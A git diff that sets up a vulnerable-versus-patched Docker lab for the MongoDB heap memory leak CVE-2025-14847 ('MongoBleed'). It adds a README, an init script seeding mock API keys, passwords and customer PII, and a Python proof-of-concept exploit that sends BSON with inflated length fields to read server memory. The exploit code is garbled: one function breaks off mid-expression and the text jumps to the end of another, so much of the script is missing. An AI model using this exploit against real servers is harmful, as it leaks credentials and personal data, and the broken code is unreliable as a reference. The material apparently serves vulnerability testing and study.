diff --git a/mongodb/cve-2025-14847/README.md b/mongodb/cve-2025-14847/README.md new file mode 100644 index 00000000..f69c07f5 --- /dev/null +++ b/mongodb/cve-2025-14847/README.md @@ -0,0 +1,28 @@ +# CVE-2025-14847 (MongoBleed) + +Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client. This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0. + +## Setup + +```sh +docker compose up -d +``` + +## Test vulnerable version + +```sh +python3 mongobleed.py --host localhost --output leaked.bin +``` + +checkout the `leaked.bin` content + +## Test safe version + +```sh +python3 mongobleed.py --host localhost --port 27018 +``` + +## Resources + +- https://github.com/joe-desimone/mongobleed/blob/main/README.md +- https://nvd.nist.gov/vuln/detail/CVE-2025-14847 diff --git a/mongodb/cve-2025-14847/docker-compose.yml b/mongodb/cve-2025-14847/docker-compose.yml new file mode 100644 index 00000000..93217983 --- /dev/null +++ b/mongodb/cve-2025-14847/docker-compose.yml @@ -0,0 +1,32 @@ +services: + mongodb-vuln: + image: mongo:8.2.2 + ports: + - "27017:27017" + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: SuperSecret123! + MONGO_INITDB_DATABASE: secretdb + volumes: + - ./init/init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + - mongodb_data_vuln:/data/db + command: ["mongod", "--networkMessageCompressors", "zlib", "--bind_ip_all"] + restart: unless-stopped + + mongodb-safe: + image: mongo:8.2.3 + ports: + - "27018:27017" + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: SuperSecret123! + MONGO_INITDB_DATABASE: secretdb + volumes: + - ./init/init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + - mongodb_data_safe:/data/db + command: ["mongod", "--networkMessageCompressors", "zlib", "--bind_ip_all"] + restart: unless-stopped + +volumes: + mongodb_data_vuln: + mongodb_data_safe: diff --git a/mongodb/cve-2025-14847/init/init-mongo.js b/mongodb/cve-2025-14847/init/init-mongo.js new file mode 100644 index 00000000..6c120393 --- /dev/null +++ b/mongodb/cve-2025-14847/init/init-mongo.js @@ -0,0 +1,246 @@ +// MongoDB Initialization Script +// Creates users and populates with sensitive mock data for CVE-2025-14847 PoC + +// Switch to admin database to create application user +db = db.getSiblingDB("admin"); + +// Create application user +db.createUser({ + user: "appuser", + pwd: "AppPassword456!", + roles: [ + { role: "readWrite", db: "secretdb" }, + { role: "readWrite", db: "customers" }, + ], +}); + +// Switch to secretdb +db = db.getSiblingDB("secretdb"); + +// Create collection with sensitive API keys and secrets +db.createCollection("api_keys"); +db.api_keys.insertMany([ + { + service: "stripe", + api_key: "sk_test_FAKE_KEY_FOR_TESTING_NOT_REAL_1234567890", + secret_key: "whsec_abcdef123456789SECRETWEBHOOK", + created_at: new Date(), + environment: "production", + }, + { + service: "aws", + access_key_id: "AKIAIOSFODNN7EXAMPLE", + secret_access_key: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", + region: "us-east-1", + created_at: new Date(), + }, + { + service: "openai", + api_key: "sk-proj-ABCdef123456789XYZabc-OPENAI-SECRET-KEY-HERE", + organization_id: "org-abc123xyz789", + created_at: new Date(), + }, + { + service: "github", + personal_access_token: "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", + webhook_secret: "github_webhook_secret_abc123", + created_at: new Date(), + }, + { + service: "sendgrid", + api_key: + "SG.xxxxxxxxxxxxxxxxxxxxxx.yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy", + created_at: new Date(), + }, +]); + +// Create collection with user credentials +db.createCollection("internal_users"); +db.internal_users.insertMany([ + { + username: "john.admin", + email: "john.admin@company.com", + password_hash: + "$2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN8/X4.GQHqX6E3H9pLZi", + password_plain: "JohnAdmin2024!", // Intentionally stored plain for demo + role: "superadmin", + mfa_secret: "JBSWY3DPEHPK3PXP", + api_token: + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJqb2huLmFkbWluIiwiaWF0IjoxNjE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c", + }, + { + username: "sarah.devops", + email: "sarah.devops@company.com", + password_hash: + "$2b$12$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi", + password_plain: "SarahDevOps#789", + role: "devops", + ssh_private_key: + "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBwFDwPdR\nFAKEPRIVATEKEY123456789ABCDEFGHIJKLMNOP\n-----END OPENSSH PRIVATE KEY-----", + aws_credentials: { + access_key: "AKIAI44QH8DHBEXAMPLE", + secret_key: "je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY", + }, + }, + { + username: "mike.developer", + email: "mike.developer@company.com", + password_hash: "$2b$12$eUz/HYR5T8P.QHqX6E3H9pLZi92IXUNpkjO0rOQ5byMi", + password_plain: "MikeDev!2024", + role: "developer", + github_token: "ghp_1234567890abcdefghijklmnopqrstuvwxyz", + database_password: "ProductionDB_P@ssw0rd!", + }, +]); + +// Create collection with customer PII +db = db.getSiblingDB("customers"); +db.createCollection("profiles"); +db.profiles.insertMany([ + { + customer_id: "CUST-001", + full_name: "Alice Johnson", + email: "alice.johnson@email.com", + phone: "+1-555-0101", + ssn: "123-45-6789", + date_of_birth: new Date("1985-03-15"), + address: { + street: "123 Main Street", + city: "New York", + state: "NY", + zip: "10001", + country: "USA", + }, + credit_card: { + number: "4532015112830366", + expiry: "12/27", + cvv: "123", + type: "Visa", + }, + bank_account: { + routing: "021000021", + account: "123456789012", + }, + }, + { + customer_id: "CUST-002", + full_name: "Bob Williams", + email: "bob.williams@email.com", + phone: "+1-555-0102", + ssn: "987-65-4321", + date_of_birth: new Date("1990-07-22"), + address: { + street: "456 Oak Avenue", + city: "Los Angeles", + state: "CA", + zip: "90001", + country: "USA", + }, + credit_card: { + number: "5425233430109903", + expiry: "08/26", + cvv: "456", + type: "Mastercard", + }, + bank_account: { + routing: "322271627", + account: "987654321098", + }, + }, + { + customer_id: "CUST-003", + full_name: "Carol Davis", + email: "carol.davis@email.com", + phone: "+1-555-0103", + ssn: "456-78-9012", + date_of_birth: new Date("1978-11-30"), + address: { + street: "789 Pine Road", + city: "Chicago", + state: "IL", + zip: "60601", + country: "USA", + }, + credit_card: { + number: "378282246310005", + expiry: "03/28", + cvv: "7890", + type: "Amex", + }, + bank_account: { + routing: "071000013", + account: "456789012345", + }, + }, +]); + +// Create collection with transaction history +db.createCollection("transactions"); +db.transactions.insertMany([ + { + transaction_id: "TXN-20241201-001", + customer_id: "CUST-001", + amount: 15750.0, + currency: "USD", + type: "wire_transfer", + destination_account: "CH93 0076 2011 6238 5295 7", + status: "completed", + timestamp: new Date(), + }, + { + transaction_id: "TXN-20241201-002", + customer_id: "CUST-002", + amount: 8999.99, + currency: "USD", + type: "purchase", + merchant: "Enterprise Software Inc", + card_last_four: "9903", + status: "completed", + timestamp: new Date(), + }, +]); + +// Create internal secrets collection +db = db.getSiblingDB("secretdb"); +db.createCollection("encryption_keys"); +db.encryption_keys.insertMany([ + { + key_id: "master-key-001", + algorithm: "AES-256-GCM", + key_material: "K7gNU3sdo+OL0wNhqoVWhr3g6s1xYv72ol/pe/Unols=", + created_at: new Date(), + purpose: "database_encryption", + }, + { + key_id: "jwt-signing-001", + algorithm: "RS256", + private_key: + "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWyF8PbnGy0AHB7MmNzXTNSXULaZgLj\nPRIVATEKEYDATA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ\n-----END RSA PRIVATE KEY-----", + public_key: + "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0Z3VS5JJcds3\n-----END PUBLIC KEY-----", + created_at: new Date(), + purpose: "jwt_signing", + }, + { + key_id: "backup-encryption-001", + algorithm: "AES-256-CBC", + key_material: "dGhpcyBpcyBhIHNlY3JldCBiYWNrdXAgZW5jcnlwdGlvbiBrZXk=", + iv: "0123456789abcdef", + created_at: new Date(), + purpose: "backup_encryption", + }, +]); + +print("=============================================="); +print("MongoDB PoC Environment Initialized!"); +print("=============================================="); +print("Databases created: secretdb, customers"); +print( + "Collections: api_keys, internal_users, profiles, transactions, encryption_keys", +); +print("Root user: admin / SuperSecret123!"); +print("App user: appuser / AppPassword456!"); +print("=============================================="); +print("WARNING: This is a VULNERABLE MongoDB instance!"); +print("For CVE-2025-14847 testing only!"); +print("=============================================="); diff --git a/mongodb/cve-2025-14847/mongobleed.py b/mongodb/cve-2025-14847/mongobleed.py new file mode 100644 index 00000000..7547c240 --- /dev/null +++ b/mongodb/cve-2025-14847/mongobleed.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +""" +mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit + +Exploits zlib decompression bug to leak server memory via BSON field names. +Technique: Craft BSON with inflated doc_len, server reads field names from +leaked memory until null byte. +""" + +import argparse +import re +import socket +import struct +import zlib + + +def send_probe(host, port, doc_len, buffer_size): + """Send crafted BSON with inflated document length""" + # Minimal BSON content - we lie about total length + content = b"\x10a\x00\x01\x00\x00\x00" # int32 a=1 + bson = struct.pack(" 10 bytes) + if len(data) > 10: + preview = data[:80].decode("utf-8", errors="replace") + print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}") + + if len(all_leaked) == 0: + print(f"[*] Total leaked: {len(all_leaked)} bytes") + print("[*] Exploitation unsuccessful") + + return 1 + + # Save results + if args.output != "": + with open(args.output, "wb") as f: + f.write(all_leaked) + + print() + print(f"[*] Total leaked: {len(all_leaked)} bytes") + print("[*] Exploitation successful") + print(f"[*] Unique fragments: {len(unique_leaks)}") + if args.output != "": + print(f"[*] Saved to: {args.output}") + + +if __name__ == "__main__": + main()